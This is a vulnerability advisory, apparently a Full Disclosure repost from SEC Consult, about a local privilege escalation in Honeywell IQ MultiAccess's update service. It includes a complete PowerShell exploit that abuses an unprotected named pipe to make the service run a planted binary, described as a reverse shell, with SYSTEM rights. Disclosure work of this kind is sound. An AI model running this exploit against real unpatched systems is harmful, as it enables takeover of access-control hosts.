SEC Consult SA-20260923-0 :: Local Privilege Escalation in Honeywell IQ MultiAccess Update Service #CVE-2026-13742

2026-9-27 04:16:15 Author: seclists.org(查看原文) 阅读量:8 收藏

SEC Consult Vulnerability Lab Security Advisory < 20260923-0 >
=======================================================================
              title: Local Privilege Escalation
            product: Honeywell IQ MultiAccess Update Service
 vulnerable version: IQ V27 & IQ V28
      fixed version: IQ V27 SP1 & IQ V28 SP1
         CVE number: CVE-2026-13742
             impact: high
           homepage:https://buildings.honeywell.com/us/en/products/by-category/access-control/software/iq-multiaccess
              found: 2026-03-19
                 by: J. Kruchem (Office Vienna)
                     G. Jank (Office Vienna)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult, an Atos business
                     Europe | Asia

                     https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"IQ MultiAccess is a highly scalable access control software solution suitable
for controlling multiple locations within a company or several companies
within a building complex/business park."

Source:https://buildings.honeywell.com/us/en/products/by-category/access-control/software/iq-multiaccess

Business recommendation:
------------------------
The vendor provides patched versions which should be installed immediately.

SEC Consult highly recommends to perform a thorough security review of the product
conducted by security professionals to identify and resolve potential further
security issues.

Vulnerability overview/description:
-----------------------------------
1) Local Privilege Escalation (CVE-2026-13742)
Due to a named pipe configured with a NULL DACL a low-privileged user can
use the pipe to communicate with the IQUpdSrv service running as SYSTEM.
When providing specific data over the pipe, arbitrary executables can be
executed with SYSTEM rights.

Proof of concept:
-----------------
1) Local Privilege Escalation (CVE-2026-13742)
The PoC PS-Script connects to the named pipe and sends the following commands:
 - SET SERVERIP "127.0.0.1"
   - Configure IP. The IP itself is not important because the goal is to timeout the connection.
 - SET SERVERPORT "9998"
 - SET URL "/SETUPVPS.EXE?ET=10&SILENT=0"
 - SET FNAME "C:\Temp\SETUPVPS.EXE"
    - Path and filename of the file which should be executed by IQUpdSrv to perform an update.
    - If the file is present, C:\Windows\Temp will be used and the behavior can NOT be exploited.
    - The file will be created with size 0 bytes.
 - DO DOWNLOAD
    - IQUpdSrv tries to download the file SETUPVPS.EXE but fails (timeout of ~15 seconds needed).
      Then the file C:\Temp\SETUPVPS.EXE will be deleted.
 - //Local command: Copy Reverse Shell Server_31337.exe to C:\Temp\SETUPVPS.EXE
    - So the file is present even though IQUpdSrv thinks it is deleted.
 - DO EXECUTE
    - IQUpdSrv starts the SETUPVPS.EXE with SYSTEM rights and connects to your reverse shell listener.

```
<#
.SYNOPSIS
    Communicates with named pipe "iqupdsrvpipe" to trigger download + execution of SETUPVPS.EXE

.DESCRIPTION
    Sends commands via named pipe → waits → copies temp file to destination (without renaming),
    then sends execute command.
    Old destination file is removed; old temp file is NOT removed.

.PARAMETER DestFile
    Final path where the file should end up
    Default: "C:\Temp\SETUPVPS.EXE"

.PARAMETER TempFile
    Path where the malicious binary is placed (e.g. Reverse Shell. Will be COPIED to DestFile)
    Default: "C:\Temp\_SETUPVPS.EXE"

.PARAMETER ServerIp (can be arbitrary. Works faster if reachable. If not reachable timeout is required)
    Default: "127.0.0.1"

.PARAMETER ServerPort (can be arbitrary)
    Default: "9998"

.PARAMETER ConnectTimeoutSeconds
    Default: 10

.PARAMETER WaitAfterDownloadSeconds
    Default: 15

.EXAMPLE
    Import-Module .\Invoke-IQExploit.psm1 -Force
    Invoke-IQExploit
#>

function Invoke-IQExploit {
    [CmdletBinding()]
    param(
        [string]$DestFile = "C:\Temp\SETUPVPS.EXE",
        [string]$TempFile = "C:\Temp\_SETUPVPS.EXE",
        [string]$ServerIp = "127.0.0.1",
        [string]$ServerPort = "9998",
        [int]$ConnectTimeoutSeconds = 10,
        [int]$WaitAfterDownloadSeconds = 15
    )

    $DestFile = $PSCmdlet.SessionState.Path.GetUnresolvedProviderPathFromPSPath($DestFile)
    $TempFile = $PSCmdlet.SessionState.Path.GetUnresolvedProviderPathFromPSPath($TempFile)

    Write-Host "`nInvoke-IQExploit started" -ForegroundColor DarkCyan
    Write-Host "  Final destination : $DestFile"
    Write-Host "  e.g. Reverse Shell: $TempFile"
    Write-Host "  Wait after download: $WaitAfterDownloadSeconds seconds"
    Write-Host ""

    if (Test-Path $DestFile) {
        Write-Host "Removing old destination file to prevent execution from C:\Windows\Temp" -ForegroundColor DarkYellow
        Remove-Item $DestFile -Force -ErrorAction SilentlyContinue
    }
    else {
        Write-Host "No existing destination file to remove." -ForegroundColor DarkGray
    }

    $pipe = $null
    $sw   = $null

    try {
        Write-Host "Connecting to \\.\pipe\iqupdsrvpipe ..." -ForegroundColor Cyan
        $pipe = New-Object System.IO.Pipes.NamedPipeClientStream(".", "iqupdsrvpipe", "InOut")
        $pipe.Connect($ConnectTimeoutSeconds * 1000)

        if (-not $pipe.IsConnected) {
            throw "Pipe connection timeout after $ConnectTimeoutSeconds seconds"
        }

        Write-Host "Connected." -ForegroundColor Green

        $sw = New-Object System.IO.StreamWriter($pipe)
        $sw.AutoFlush = $true

        $commands = @(
            "SET SERVERIP `"$ServerIp`"",
            "SET SERVERPORT `"$ServerPort`"",
            'SET URL "/SETUPVPS.EXE?ET=10&SILENT=0"',
            "SET FNAME `"$DestFile`"",
            "DO DOWNLOAD"
        )

        foreach ($cmd in $commands) {
            Write-Host "Sending: $cmd" -ForegroundColor Gray
            $sw.WriteLine($cmd)
            Start-Sleep -Milliseconds 350
        }

        Write-Host "`nDownload command sent." -ForegroundColor Yellow
        Write-Host "Waiting $WaitAfterDownloadSeconds seconds for file to appear at:" -ForegroundColor Yellow
        Write-Host "  $TempFile" -ForegroundColor Yellow

        Start-Sleep -Seconds $WaitAfterDownloadSeconds

        Write-Host "`nWait finished. Checking temp file..." -ForegroundColor Cyan

        if (Test-Path $TempFile) {
            Write-Host "Temp file found copying to destination" -ForegroundColor Green
            Copy-Item -Path $TempFile -Destination $DestFile -Force
            Write-Host "Copy completed to $DestFile" -ForegroundColor Green

        }
        else {
            Write-Warning "No Temp file found at: $TempFile"
            Write-Warning "Create a binary which should be invoked as SYSTEM at: $TempFile."
        }

        Write-Host "Sending DO EXECUTE..." -ForegroundColor Cyan
        $sw.WriteLine("DO EXECUTE")
        Write-Host "Executing $DestFile as SYSTEM." -ForegroundColor Green

    }
    catch {
        Write-Error "Error: $($_.Exception.Message)"
    }
    finally {
        if ($sw)   { $sw.Dispose()   | Out-Null }
        if ($pipe) { $pipe.Dispose() | Out-Null }
        Write-Host "`nOperation finished." -ForegroundColor DarkGray
    }
}

Export-ModuleMember -Function Invoke-IQExploit
```

Vulnerable / tested versions:
-----------------------------
The following version has  been tested and verified to be vulnerable:
* IQ MultiAccess IQ.V27

According to the vendor, the versions V27 as well as V28 before SP1 are affected.

Vendor contact timeline:
------------------------
2026-03-20: Contacting vendor throughsecurity () honeywell com, attaching PGP-encrypted
            advisory.
2026-03-20: Vendor responds that they didn't find any POCs and we should resend them.
2026-03-23: Resending PGP-encrypted advisory again.
2026-03-25: Asking of the vendor received the advisory now. Vendor asks to submit the
            advisory unencrypted and we send it in clear text. Vendor confirms receipt
            now and coordinates internally.
2026-04-21: Asking for status update.
2026-05-22: Vendor responds and will clarify internally.
2026-05-27: Vendor responds that the vulnerability is fixed, provides CVSS score.
2026-05-28: Asking vendor for coordinated release of advisory and list of affected
            products.
2026-06-10: Asking for a status update and CVE number.
2026-06-10: PSIRT was waiting on the engineer's response, fix should be included in the
            IQ MultiAccess V27 SP1 and V28 SP1, they are working on a release.
2026-06-18: Asking for a status update.
2026-06-18: Vendor is working on the CVE, fix will be available at the end of the month.
            Vendor provides CVE JSON for review later that day.
2026-06-19: Suggesting a different CVSS score as confidentiality and integrity impact is high.
2026-06-23: Vendor updated the score and further prepares release.
2026-06-29: Vendor informs us that CVE-2026-13742 has been published.
2026-09-22: Informing vendor about upcoming advisory release and delay during summer absences.
2026-09-23: Release of security advisory

Solution:
---------
The vendor provides patched versions IQ V27 SP1 and IQ V28 SP1.
Furthermore, the vendor provides a security notice SN2026-06-25:
https://www.honeywell.com/content/dam/honcorp/us-en/legal/product-security/hon-sn2026-06-25-01-time%E2%80%91of%E2%80%91use-signature-bypass-in-honeywell-iq-multi-access.pdf

Workaround:
-----------
None

Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos business. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your applicationhttps://sec-consult.com/career/

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local officeshttps://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: security-research at sec-consult dot com
Web:https://www.sec-consult.com
Blog:http://blog.sec-consult.com
X:https://x.com/sec_consult

EOF J. Kruchem, G. Jank / @2026

Full Disclosure mailing list archives

Current thread: